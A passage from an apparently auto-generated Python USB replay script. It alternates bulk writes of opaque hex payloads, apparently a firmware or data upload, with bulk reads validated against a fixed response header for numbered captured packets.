b\"\\x1C\\xAC\\xA5\\xAC\\xCA\\x8C\\x1D\\x0C\\xED\\xF2\\x26\\x5E\\x99\\x1A\\x3C\\x2B\"\n b\"\\xFB\\x85\\x34\\xE2\\xC5\\x8A\\x1B\\xF2\\xE5\\x82\\xF1\\x29\\x2F\\x56\\x9B\\x64\"\n b\"\\x94\\xDF\\xC6\\x8D\\xDB\\x57\\x2C\\x3D\\x5E\\xF6\\x76\\x35\\x71\\x5B\\xE1\\xE3\"\n b\"\\x67\\x7C\\x21\\x33\\x66\\x37\\xB3\\x66\\x45\\x23\\x57\\xDD\\x2D\\x55\\x5C\\x1E\"\n b\"\\x68\\x0B\\x34\\x4B\\x4B\\xA9\\x83\\xCD\\x6B\\x9D\\x73\\x30\\x8B\\xF0\\xE0\\xC1\"\n b\"\\x14\\xE5\\x5F\\x4A\\x6D\\x9C\\x31\\x46\\x89\\x4D\\xA9\\xFC\\xF4\\xB6\\x82\\xFA\"\n b\"\\x99\\x72\\x9C\\x6D\\x4D\\x35\\x43\\xDA\\x4D\\xBA\\xCC\\x3C\\x87\\x72\\xDD\\xB5\"\n b\"\\x6D\\xE5\\xAA\\x4D\\xFD\\x86\\xAC\\x35\\x5A\\x50\\x2C\\x09\\x62\\xCC\\xA5\\xF6\"\n b\"\\x73\\xB1\\x49\\x40\\xB5\\xF6\\x71\\x84\\x40\\x7A\\xC4\\xB9\\x02\\xF0\\x61\\xD6\"\n b\"\\xC5\\x1D\\xF2\\x09\\x33\\x2F\\x29\\x17\\xBE\\x39\\xB9\\x02\\x5C\\x8D\\x20\\x1E\"\n b\"\\x6A\\x1A\\x67\\x83\\x92\\xE8\\x57\\xB6\\xAF\\x16\\xBF\\x4E\\x2D\\xF2\\x76\\xA7\"\n b\"\\x7D\\x1A\\x7A\\x6D\\xB9\\x62\\x3A\\xDE\\x61\\xBE\\x9E\\x83\\xB8\\x13\\x75\\x71\"\n b\"\\xFD\\x27\\x4D\\x5A\\x04\\x54\\x63\\x26\\x13\\x4F\\x79\\xE8\\xF3\\x41\\x58\\x6E\"\n b\"\\xBC\\x37\\x3A\\x15\\x1A\\xB8\\x08\\xD8\\xB0\\x57\\xB9\\xD9\\x61\\x5E\\x3F\\x59\"\n b\"\\x4E\\x19\\x98\\xD8\\xB2\\xF5\\x48\\x65\\xAD\\xF9\\xAE\\x86\\xD8\\x76\\xC2\\x66\"\n b\"\\x48\\x7E\\xD1\\xB7\\x73\\xDF\\x4B\\x50\\xCF\\xDD\\x97\\xDD\")\n # Generated from packet 2579/2580\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2579/2580\")\n # Generated from packet 2581/2582\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2A\\xB1\\x4D\\xBD\\xA6\\x67\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD0\\x1F\\x35\\x24\\xBD\\xCB\\xDC\\xA9\"\n b\"\\xA9\\x6C\\xB0\\x29\\xCE\\x89\\x82\\x93\\xDC\\x9B\\x4A\\x47\\x0F\\xCE\\xDF\\xEE\"\n b\"\\x3F\\x79\\xD6\\x97\\xD2\\xEA\\x42\\x19\\xD2\\x09\\xAF\\x3B\\x72\\xF5\\x1B\\xDA\"\n b\"\\xBA\\x56\\xA4\\x97\\x8A\\xC5\\x27\\x25\\x30\\x88\\x70\\x93\\x9A\\x78\\xC2\\xFC\"\n b\"\\x3A\\x1B\\x2D\\xA2\\xC5\\xB9\\xDF\\xD2\\x98\\x74\\xFD\\xF3\\x70\\x63\\xB0\\x90\"\n b\"\\x7D\\xE0\\xEF\\x04\\x98\\xF2\\x88\\x66\\x0C\\x4C\\x84\\x7E\\x56\\xA3\\x9F\\x69\"\n b\"\\x11\\x72\\x37\\x80\\x3C\\xDB\\x62\\x2F\\x6B\\xB3\\x73\\x0D\\x08\\xCF\\x3C\\x87\"\n b\"\\x37\\xB4\\xB8\\x18\\x89\\xF1\\xD9\\x26\\x61\\x4E\\x63\\x3C\\x34\\xD3\\x05\\xA9\"\n b\"\\x3E\\xE5\\x3F\\xA0\\x0F\\x2A\\x1F\\x84\\xD9\\xD1\\x18\\x53\\xAB\\x22\\x49\\x71\"\n b\"\\x8C\\x37\\x30\\xF4\\x38\\x09\\x79\\x16\\x26\\x33\\xDC\\x38\\x5C\\x04\\x50\\xE5\"\n b\"\\x61\\x89\\x32\\xF7\\x77\\xD2\\xAB\\x2D\\x4E\\x6A\\x58\\xA4\\x42\\x42\\xCB\\x8B\"\n b\"\\x88\\x4C\\x87\\x09\\x9A\\x96\\x19\\xAD\\x6B\\xD8\\xE7\\x35\\xF0\\x19\\xA1\\xCD\"\n b\"\\xDF\\xF4\\x0F\\xFC\\xEB\\x0F\\x63\\xAD\\x69\\x5E\\x88\\x26\\xD2\\x7A\\x56\\x51\"\n b\"\\x81\\xE0\\xC7\\xD7\\x56\\x2F\\x61\\x92\\x10\\x88\\x73\\xF2\\x99\\x11\\x11\\x4A\"\n b\"\\xAE\\xBE\\x30\\x4E\\x15\\xE0\\x09\\xEF\\x31\\x5F\\x58\\x1E\\x4B\\xF2\\xD7\\xC2\"\n b\"\\xA2\\x5D\\x0D\\xB4\\x4D\\x69\\x29\\x7F\\x52\\x68\\x0C\\x74\\xB8\\x2D\\xB2\\x4F\"\n b\"\\x10\\x74\\x33\\xF3\\xB0\\x51\\xC3\\x03\\x51\\x1A\\xF5\\x53\")\n # Generated from packet 2583/2584\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2583/2584\")\n # Generated from packet 2585/2586\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFB\\x2E\\xF6\\x4A\\xB4\\x15\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDB\\x8E\\xDD\\x53\\x2F\\x16\\x96\\xF9\"\n b\"\\xD9\\x17\\xFC\\xE3\\xC0\\x7F\\xFE\\x5F\\x30\\x2C\\x07\\x6A\\x33\\x32\\xC3\\x12\"\n b\"\\x41\\x87\\xED\\x98\\x7C\\xD4\\xCE\\x06\\x26\\x75\\x56\\x0F\\x16\\x0B\\x82\\xA6\"\n b\"\\x8D\\x84\\x39\\x3D\\x75\\x13\\x78\\x9E\\xE7\\x37\\x74\\x6E\\x02\\xE2\\xE3\\xA6\"\n b\"\\xE6\\x7A\\xA1\\x7A\\x35\\xD2\\x40\\x02\\x9F\\x13\\x68\\xEB\\x35\\xB6\\x7F\\xEB\"\n b\"\\xF7\\x53\\xB5\\xBC\\x5E\\xCE\\xBA\\xB6\\x85\\xE8\\xCD\\x28\\x1B\\x9E\\x2F\\x3A\"\n b\"\\xCB\\xE1\\x3C\\x10\\xFE\\x2F\\x49\\x56\\x30\\x63\\x29\\xAB\\x35\\x79\\x28\\x0A\"\n b\"\\x4A\\x0A\\xF9\\xBE\\x7B\\xA0\\x08\\xCD\\x55\\x5D\\x9D\\xBD\\xA1\\xBB\\x5F\\x81\"\n b\"\\x21\\xE0\\x4D\\x57\\x1A\\x59\\x38\\x6F\\x9A\\x28\\x12\\x78\\x84\\xEA\\x84\\x81\"\n b\"\\x3A\\xDA\\x28\\xCC\\x7C\\xDA\\x65\\x44\\x00\\x32\\xCE\\xC0\\xEB\\x8C\\x09\\xF2\"\n b\"\\xB2\\x2C\\x86\\xB5\\x08\\xFF\\x12\\x46\\x13\\xF5\\xE4\\x8C\\xDA\\x89\\x2B\\x8F\"\n b\"\\xE4\\xB1\\xA1\\xFB\\xFA\\x2F\\xBC\\xF2\\xD5\\x53\\x0E\\xE4\\xEF\\x07\\x77\\xA1\"\n b\"\\x4C\\x70\\xA6\\x6F\\xF5\\x03\\xF1\\xA5\\x47\\x71\\x8F\\xF4\\xCC\\xE3\\xE9\\x4F\"\n b\"\\x75\\x22\\x9F\\xBD\\xE5\\xE6\\xC2\\x5D\\xA2\\x3D\\xDA\\xBF\\x99\\x87\\xA8\\x71\"\n b\"\\x28\\x02\\x00\\x2C\\x8C\\xB5\\x59\\x43\\x62\\x29\\xC5\\xCD\\xD6\\xCF\\x3C\\xA3\"\n b\"\\xCE\\x42\\x6F\\x7F\\x80\\x79\\x67\\x83\\x31\\xFD\\xEB\\x12\\x53\\x90\\x02\\x14\"\n b\"\\x05\\x83\\x2E\\x13\\x69\\xFA\\xDF\\x5A\\x02\\x97\\x80\\xB1\")\n # Generated from packet 2587/2588\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2587/2588\")\n # Generated from packet 2589/2590\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEE\\xC8\\x14\\x65\\xC9\\x07\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3F\\xC7\\x04\\x8B\\x88\\xEF\\x62\\xB3\"\n b\"\\xB5\\x3F\\xD4\\x37\\x2F\\x4B\\x84\\x8B\\x90\\x77\\xA5\\x71\\xC3\\x2C\\x52\\xF0\"\n b\"\\x9D\\xD3\\x1A\\x41\\x5C\\x83\\xA9\\x20\\x4B\\xAF\\x5A\\x29\\x1F\\xC1\\xF7\\xA7\"\n b\"\\xE7\\x36\\xE7\\x72\\x67\\xC4\\xD3\\x9E\\xE1\\x3E\\x32\\x73\\x42\\x82\\xB9\\xED\"\n b\"\\x32\\x79\\x75\\x8C\\x2A\\xD3\\x68\\xCF\\xD6\\x3F\\x15\\x5C\\x4B\\xB8\\x62\\x4C\"\n b\"\\x79\\x04\\x20\\x9D\\x1D\\x1C\\xA4\\x2D\\xB7\\x92\\xBA\\x32\\x3D\\xBC\\x8D\\xCA\"\n b\"\\xBF\\x4E\\x5C\\xC3\\x4A\\xE4\\x46\\x98\\xA7\\x06\\x39\\x1F\\xC7\\x3F\\x91\\xFE\"\n b\"\\xA2\\x19\\x6A\\xBF\\x8A\\x2B\\x49\\x74\\x2B\\xC3\\xAE\\xBB\\x0A\\xDE\\x57\\x88\"\n b\"\\xDE\\x7E\\xD0\\xEE\\x23\\x2F\\x91\\x83\\xEB\\xBA\\x02\\xA8\\xF1\\x82\\x1C\\xAD\"\n b\"\\x72\\x12\\x62\\xDA\\xB1\\xC5\\x5E\\x0B\\xCD\\xCC\\x36\\x2A\\x0A\\x4E\\x95\\x6E\"\n b\"\\x7D\\x2A\\x90\\x3C\\xF2\\x28\\x7F\\xD7\\xDC\\x32\\xEB\\x01\\x8C\\xB8\\xDF\\xBC\"\n b\"\\xA3\\x17\\xC1\\x74\\x9A\\xB5\\x10\\x46\\x22\\x9C\\xCA\\x34\\xDA\\xA6\\xAF\\xB4\"\n b\"\\x24\\x93\\xD3\\x16\\x43\\x52\\x80\\xB9\\x5A\\x77\\xCA\\x47\\x90\\x74\\xCA\\x1F\"\n b\"\\x29\\x57\\xC7\\x4A\\x6A\\x47\\xD3\\x0C\\x12\\xFE\\x9B\\x92\\xF3\\xAA\\xF7\\xA6\"\n b\"\\xF6\\xB6\\x3F\\xA1\\x50\\xF4\\x85\\x56\\x9C\\x88\\xE0\\xE2\\x0E\\xBD\\xB9\\x8C\"\n b\"\\x32\\x0C\\xDF\\x36\\x97\\x3E\\x2A\\xA6\\xD5\\xB8\\xB3\\x3A\\xF4\\x73\\xFE\\x36\"\n b\"\\x9F\\xE6\\x0D\\xF2\\x06\\xEA\\xE1\\xEA\\x5D\\xE1\\x2F\\x93\")\n # Generated from packet 2591/2592\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2591/2592\")\n # Generated from packet 2593/2594\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x38\\x96\\x3B\\x9C\\xC0\\x27\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF6\\x9D\\x82\\x26\\xCE\\x17\\x7B\\xE8\"\n b\"\\xDA\\x16\\x0D\\x07\\x8C\\x2F\\x2B\\xB0\\x93\\xEB\\x4D\\xA6\\x26\\x4A\\xE4\\x4B\"\n b\"\\xAC\\x29\\x6E\\xE5\\x71\\xB9\\x62\\x46\\x5F\\xA6\\x55\\xE0\\x06\\xFF\\x13\\x8D\"\n b\"\\x69\\x94\\x63\\x91\\x4C\\x94\\x70\\xD5\\xE3\\x50\\xAC\\xB4\\xF6\\x08\\xD1\\x26\"\n b\"\\x50\\x36\\xE0\\x8B\\xED\\xE7\\x0F\\x25\\x89\\xAB\\xCA\\x17\\x91\\x96\\x96\\x03\"\n b\"\\x19\\x37\\x74\\xF0\\x49\\x03\\x4D\\x5A\\xB0\\x70\\x63\\x24\\x49\\x5A\\x51\\xB3\"\n b\"\\xC6\\x65\\xE8\\xA7\\x08\\x83\\x47\\x43\\x1B\\x5B\\xF9\\x10\\x7D\\x24\\xB8\\x59\"\n b\"\\xF1\\x33\\xFC\\x60\\xC3\\xE4\\x3B\\xC8\\xA4\\xED\\x10\\x94\\xA1\\x14\\x7D\\x2E\"\n b\"\\xCF\\x14\\x0B\\x64\\xC1\\x54\\xC5\\xA2\\x1A\\xE8\\x9D\\xA8\\xBF\\x82\\xC8\\x3F\"\n b\"\\x31\\x83\\x62\\x0B\\xE1\\xC9\\x7A\\x6B\\x0B\\xAF\\x65\\x8F\\x70\\xF0\\xC9\\xBD\"\n b\"\\xDA\\x7F\\x28\\x3A\\xE8\\x91\\x44\\x13\\x5A\\x79\\xC7\\x33\\x76\\x9C\\x92\\xC8\"\n b\"\\x1D\\x4D\\x96\\x48\\xEF\\xBD\\xCF\\xCE\\x5D\\xBE\\xC5\\x45\\x00\\x5F\\xC3\\xDF\"\n b\"\\x34\\xD1\\xE8\\x40\\x3C\\x44\\xDE\\x43\\x43\\x4F\\xE4\\x93\\xCB\\x0F\\x44\\x6D\"\n b\"\\x2A\\x4D\\x48\\xE0\\xED\\x99\\xEA\\xD3\\x00\\x5A\\x31\\x3A\\x5D\\xE6\\x28\\xAA\"\n b\"\\x0A\\xE8\\xE8\\xA9\\x9E\\xC7\\x98\\xB2\\x1B\\xBB\\x2F\\x5D\\x73\\x11\\x1C\\xC1\"\n b\"\\x9B\\xE4\\x91\\x73\\x4B\\x18\\x4F\\x9E\\xE0\\x6D\\x75\\x27\\xF5\\x4E\\x4E\\x0E\"\n b\"\\xBF\\x4E\\xF7\\xBC\\xAF\\x1D\\x9C\\x97\\x18\\x8E\\xB3\\xDD\")\n # Generated from packet 2595/2596\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2595/2596\")\n # Generated from packet 2597/2598\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC3\\x12\\x2F\\x3A\\x69\\x64\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE6\\x57\\x28\\x07\\xC7\\xB0\\x08\\x39\"\n b\"\\xB5\\x8D\\x85\\xCE\\x80\\xC0\\x54\\x52\\x97\\x5C\\xF9\\x7A\\x2C\\x66\\x13\\x59\"\n b\"\\x23\\xE6\\xF4\\xE6\\xD1\\x7A\\x2C\\xFF\\x3C\\x65\\x88\\xD6\\xAC\\x59\\xF1\\x3D\"\n b\"\\xF6\\x24\\x50\\xB7\\x9E\\xF1\\x18\\x46\\x03\\xC2\\x47\\x9C\\xA3\\xB5\\xCD\\x7F\"\n b\"\\x1D\\xBC\\x47\\x42\\x51\\xE3\\x2C\\xFB\\x5D\\xE0\\xB3\\xA2\\x71\\xFA\\x64\\x94\"\n b\"\\x43\\x10\\x6C\\x70\\x5C\\x3E\\x8D\\xCC\\xA0\\xB0\\x0F\\x3A\\x54\\x44\\x77\\x03\"\n b\"\\x90\\xF9\\x84\\x0F\\x13\\x14\\x27\\x83\\x71\\xB6\\x9B\\x8A\\x9B\\xC5\\x1D\\xF6\"\n b\"\\xDA\\x77\\x76\\x30\\x20\\x8A\\xBB\\x5F\\x08\\x71\\x24\\x78\\x7D\\xB3\\xE1\\xA3\"\n b\"\\x11\\x66\\x0B\\xFE\\x17\\xA4\\x10\\x9C\\x4E\\xF5\\x7B\\x97\\xD1\\xEC\\xB5\\x36\"\n b\"\\xD0\\x23\\x38\\x11\\x9F\\x10\\x29\\xA1\\xF6\\x72\\xBF\\x1C\\x6B\\xA4\\x46\\x5F\"\n b\"\\xF9\\x28\\x63\\x97\\x0F\\x5D\\xD8\\x54\\x67\\x5F\\x3F\\x07\\x1C\\xF6\\x92\\x31\"\n b\"\\x17\\x9E\\x12\\x05\\x3D\\xCC\\x4C\\xDA\\x0B\\xE3\\x1E\\x88\\xB2\\xCF\\xCC\\x9F\"\n b\"\\x6F\\x7B\\xF4\\x75\\x29\\xDE\\x26\\x40\\x3D\\x43\\x19\\x41\\xF7\\xD5\\x34\\x28\"\n b\"\\xFA\\xC2\\x4D\\xDD\\x24\\xD4\\x58\\x5F\\xC2\\xA1\\x47\\xDD\\x02\\x5D\\xDA\\x57\"\n b\"\\x71\\x7F\\xEF\\xAB\\xFB\\xCF\\xA1\\x0B\\xBB\\x31\\xE0\\x53\\xE5\\x79\\xC3\\x9D\"\n b\"\\xF1\\x87\\x88\\xEB\\x8C\\x2B\\xD5\\x32\\x79\\x2E\\x63\\x55\\x62\\x82\\xE4\\xD3\"\n b\"\\xC2\\x84\\x9B\\x85\\xC0\\x71\\x42\\x5F\\xDE\\xF4\\x20\\x61\")\n # Generated from packet 2599/2600\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2599/2600\")\n # Generated from packet 2601/2602\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5E\\x0E\\xFD\\x20\\x32\\x1B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAA\\x7D\\xED\\xE2\\x97\\x84\\x86\\x28\"\n b\"\\xB3\\x7E\\x66\\x7D\\xC7\\x68\\x4B\\xD6\\xD5\\x3B\\xC2\\xEF\\x7C\\x2C\\x23\\xE2\"\n b\"\\x4A\\xCC\\x91\\x88\\xA5\\x7E\\xA0\\x20\\x1C\\xC5\\x92\\xF5\\x6B\\x18\\xF2\\x86\"\n b\"\\x23\\xFB\\x24\\x47\\x85\\x7B\\x41\\xDE\\x5B\\x01\\x73\\xC3\\x47\\x5C\\x07\\xEB\"\n b\"\\xF2\\x95\\x2B\\xA0\\xC3\\x64\\x4E\\x2E\\x94\\x76\\x93\\x4A\\x03\\xDC\\xDD\\x70\"\n b\"\\x00\\x25\\xD8\\x34\\x6A\\x2E\\xC6\\x54\\xF6\\xB5\\x64\\xAA\\x1E\\xA0\\x99\\x12\"\n b\"\\x3D\\xF4\\xA6\\xD5\\x55\\xC5\\x27\\xC1\\x27\\x14\\x58\\x14\\x8B\\xED\\x02\\x32\"\n b\"\\x6E\\x07\\xB1\\xF7\\xD5\\xF1\\x09\\x5E\\x46\\x37\\xE1\\xCC\\xDF\\xB6\\x7E\\xD6\"\n b\"\\xC5\\x29\\xF9\\xC5\\xBB\\xB8\\xE1\\x01\\x55\\x90\\x6B\\x3E\\x54\\xC7\\x94\\xB0\"\n b\"\\xC4\\x10\\xB3\\x6E\\xE3\\x7F\\x73\\xB2\\x5E\\x92\\x2C\\x5B\\xCB\\x97\\xAD\\xC8\"\n b\"\\x28\\xB1\\xFE\\x8E\\xAC\\x8D\\xC0\\x14\\x0C\\x22\\xC6\\xE0\\x09\\xA5\\x45\\x6F\"\n b\"\\x12\\x63\\x09\\x84\\xA3\\xE6\\xA2\\x4C\\xA4\\xBE\\xA1\\x64\\xFA\\x22\\x65\\x72\"\n b\"\\x92\\xF5\\x97\\xB3\\x4F\\x96\\x61\\xEB\\x8E\\xB6\\x61\\xE0\\x67\\x4D\\x50\\xC1\"\n b\"\\x7C\\x3F\\xEC\\xB8\\x29\\x02\\xB5\\x7B\\x31\\x93\\xBF\\x22\\x48\\x50\\xB0\\xAD\"\n b\"\\xD8\\xD7\\x82\\x48\\x62\\xAF\\xD9\\x5C\\x2E\\x4C\\x19\\x02\\x1B\\xCC\\xEA\\xBE\"\n b\"\\x3C\\x21\\x74\\xC3\\xAB\\x6D\\xBB\\x5F\\x04\\x43\\x34\\x60\\xB6\\x6D\\x12\\x66\"\n b\"\\xCA\\x98\\x01\\xBE\\x7C\\x4B\\x10\\x98\\x45\\x1A\\x0E\\xC5\")\n # Generated from packet 2603/2604\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2603/2604\")\n # Generated from packet 2605/2606\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x71\\x2F\\xA1\\x78\\x34\\x29\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0E\\x42\\x22\\x9F\\xB2\\x15\\xAA\\x62\"\n b\"\\x8A\\xAA\\x8B\\x77\\xB8\\x18\\xAE\\xF1\\xA9\\x34\\x7C\\xE5\\x10\\x86\\xFC\\xDB\"\n b\"\\xDD\\xDD\\xA0\\x98\\xBB\\x03\\xCE\\xE4\\x66\\x6E\\x35\\xC6\\xEC\\xE4\\xAF\\x51\"\n b\"\\xE2\\x17\\x40\\x5E\\x13\\x12\\x0D\\x12\\x4E\\x18\\x90\\x3A\\x01\\x99\\xD0\\xB9\"\n b\"\\xE0\\x42\\xAE\\x96\\x22\\x28\\xED\\x25\\xF4\\xDA\\x22\\x70\\x69\\x2D\\x4F\\x4D\"\n b\"\\xCE\\x4B\\x9A\\xE7\\xCD\\x8B\\xF8\\x25\\x51\\xB0\\x88\\x76\\xC4\\x91\\x80\\x1A\"\n b\"\\xA2\\x54\\x77\\x39\\x0B\\x69\\x81\\x5D\\x34\\xB9\\xF1\\xC2\\xFA\\xF0\\x60\\xDD\"\n b\"\\x05\\x30\\x4D\\x0D\\x3D\\xFE\\x9D\\xB3\\xF7\\x98\\x50\\xF0\\x84\\x8B\\x20\\x71\"\n b\"\\x3A\\x18\\x33\\x0C\\x57\\x11\\xEB\\x8C\\xA5\\x65\\xDB\\xA2\\x1B\\xCE\\x05\\x69\"\n b\"\\xE8\\x49\\x48\\x0E\\xB2\\xA2\\x96\\x0F\\x42\\xD6\\x32\\xB6\\x3A\\x23\\x8E\\xD5\"\n b\"\\xA9\\x87\\x95\\x66\\xC5\\x48\\x7C\\x51\\xAC\\x6B\\x4F\\xDC\\x4B\\xA4\\x7D\\x2F\"\n b\"\\x9A\\x7D\\xC6\\x02\\xF8\\x8A\\x2C\\xFB\\x11\\xF4\\x39\\xC3\\x09\\x3B\\x46\\x74\"\n b\"\\x26\\xE9\\xDE\\x10\\xF5\\x8F\\xCD\\xC4\\x4A\\x31\\x9F\\xDA\\x50\\x84\\x08\\x12\"\n b\"\\x3C\\xBD\\xB9\\xD6\\x7E\\xD3\\x5F\\xB1\\x52\\x8F\\xCB\\xCA\\xC4\\x7C\\x8B\\xDE\"\n b\"\\xF3\\xD6\\x40\\x85\\x13\\xA9\\x31\\x4F\\x37\\xC0\\x84\\x6F\\xA3\\xAF\\x93\\x43\"\n b\"\\x28\\x30\\x76\\x66\\xBB\\xCF\\x82\\x68\\x7B\\x5C\\xD2\\xA7\\x58\\xBF\\xB2\\x28\"\n b\"\\xEA\\xA7\\x12\\xF5\\xFE\\x99\\x8F\\x10\\xD9\\xEB\\x1F\\x9C\")\n # Generated from packet 2607/2608\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2607/2608\")\n # Generated from packet 2609/2610\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x89\\x15\\x9D\\xE2\\x09\\x3E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5C\\x82\\x50\\xFC\\x8E\\xC5\\x1A\\x75\"\n b\"\\x8C\\x38\\xF1\\xD5\\xB0\\x97\\x1F\\xFC\\x55\\xAB\\x46\\x27\\x46\\x6B\\x32\\xF0\"\n b\"\\x33\\x91\\x36\\xB0\\x61\\xA4\\x5E\\x6F\\xC0\\x1C\\x86\\xDF\\x7E\\xD6\\x9F\\x2D\"\n b\"\\xCC\\xD5\\xCC\\x03\\x6D\\xDF\\xD4\\x78\\xB1\\x6D\\x4F\\xE6\\xBE\\x00\\x54\\xAA\"\n b\"\\x98\\xFF\\x0E\\x57\\xE7\\x5E\\x78\\x35\\xB2\\x99\\x4B\\x2E\\xEA\\x91\\xA1\\xD5\"\n b\"\\x26\\x45\\x99\\xFA\\x81\\x5E\\xE4\\x67\\xD2\\x44\\x2C\\xDD\\x2F\\xF3\\x44\\xDF\"\n b\"\\x1F\\x48\\x11\\xAB\\xFC\\x22\\xBF\\xC4\\x35\\x2F\\xA1\\x2E\\xD6\\x15\\x15\\x81\"\n b\"\\x6D\\x41\\xCE\\x6E\\x6D\\x6A\\xA0\\x59\\xB6\\xD6\\x74\\xDA\\x74\\x74\\xAC\\x96\"\n b\"\\x99\\x06\\x2F\\x64\\x2A\\xBA\\x2D\\xFA\\xE1\\x83\\xAB\\xF9\\xFC\\x9D\\x40\\x25\"\n b\"\\xE2\\x70\\x79\\x3D\\xFB\\x86\\x18\\x3F\\x24\\x21\\x34\\x5D\\x14\\x15\\x16\\xC7\"\n b\"\\x85\\xC4\\xE6\\x6C\\xCC\\x5F\\x2F\\x2A\\x29\\x2B\\x82\\x2F\\x14\\x29\\x38\\xF0\"\n b\"\\x80\\x20\\xBD\\xF6\\xFE\\x18\\x09\\x48\\x59\\x48\\x43\\x2D\\x1D\\x96\\xAB\\x0E\"\n b\"\\x6C\\x5A\\x8E\\x39\\x09\\xF2\\x44\\xBA\\x8C\\x7C\\xE4\\xFE\\xF6\\x9D\\xFA\\xFD\"\n b\"\\x7C\\x84\\x29\\xEC\\x55\\x4B\\x83\\x95\\x0F\\x17\\xAD\\xBD\\x63\\xB2\\xE4\\x31\"\n b\"\\x9E\\xE5\\x94\\x49\\x3B\\x3D\\xEC\\x69\\xEA\\x61\\x7A\\x86\\x60\\xB8\\xE4\\x2A\"\n b\"\\xFE\\xE1\\x18\\x41\\x9A\\xC1\\x6A\\x80\\x8F\\x55\\x0F\\xE6\\x8A\\x80\\xA3\\xAD\"\n b\"\\xB5\\xAF\\x83\\x46\\x44\\x70\\x9C\\xE3\\xDB\\xB0\\x8A\\x20\")\n # Generated from packet 2611/2612\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2611/2612\")\n # Generated from packet 2613/2614\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEB\\xE9\\x33\\x94\\x2C\\x01\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x75\\x9D\\xC6\\x48\\x51\\x37\\xD3\"\n b\"\\xDD\\x2C\\xB1\\x3F\\x2A\\x29\\x71\\xE4\\x11\\x5C\\x97\\x2F\\x59\\x48\\x4E\\xA8\"\n b\"\\x08\\x6F\\x19\\x26\\x75\\xDD\\x9A\\x36\\x89\\x89\\xC9\\xB7\\x42\\x47\\xE6\\xBC\"\n b\"\\x2A\\x8C\\x03\\xE4\\xEA\\xCF\\x6F\\x0A\\xED\\xD0\\x00\\x7E\\xEF\\x7F\\x23\\x70\"\n b\"\\x1B\\x9A\\x6D\\x37\\x89\\xEF\\x84\\xF9\\x4F\\x57\\x24\\x35\\x1B\\xFB\\x9B\\x30\"\n b\"\\xBA\\x69\\x7A\\x96\\xCA\\xE8\\xA1\\x24\\x2D\\x9B\\x2E\\x3F\\x92\\xB7\\x4C\\xA0\"\n b\"\\x92\\xFE\\x72\\xAF\\xBD\\xEF\\x52\\xA7\\x34\\xF5\\x0B\\xA2\\x4B\\xA7\\xF1\\xC1\"\n b\"\\xE1\\x97\\x2E\\x84\\xFB\\x25\\x5D\\xBC\\x30\\x87\\x70\\x84\\xE6\\xE1\\x64\\x75\"\n b\"\\x16\\xA7\\xB8\\x09\\xAA\\x1B\\xE9\\x25\\xD6\\xA7\\x1E\\x7E\\xB8\\xE6\\x4E\\x29\"\n b\"\\xC0\\xC3\\xC4\\x71\\x41\\x03\\x6E\\x25\\xD6\\x44\\x71\\xC0\\x21\\xFD\\x03\\x4D\"\n b\"\\x59\\xFB\\xA3\\xEC\\x4B\\x13\\x7B\\xA2\\x6E\\x64\\xEB\\xFE\\x7F\\x8C\\x01\\x79\"\n b\"\\x69\\x55\\x37\\x30\\x6A\\x04\\x6D\\x8B\\x97\\xE9\\x01\\x1A\\xC0\\xC4\\x3F\\xA1\"\n b\"\\x23\\x43\\x65\\xF6\\x17\\x17\\x40\\xF7\\x36\\x69\\xB1\\x77\\x0A\\x68\\x97\\xDC\"\n b\"\\x9C\\x70\\x9D\\x96\\x84\\xAD\\xAA\\x8C\\x3B\\x7F\\x1C\\xBC\\x9C\\xBB\\x5E\\x55\"\n 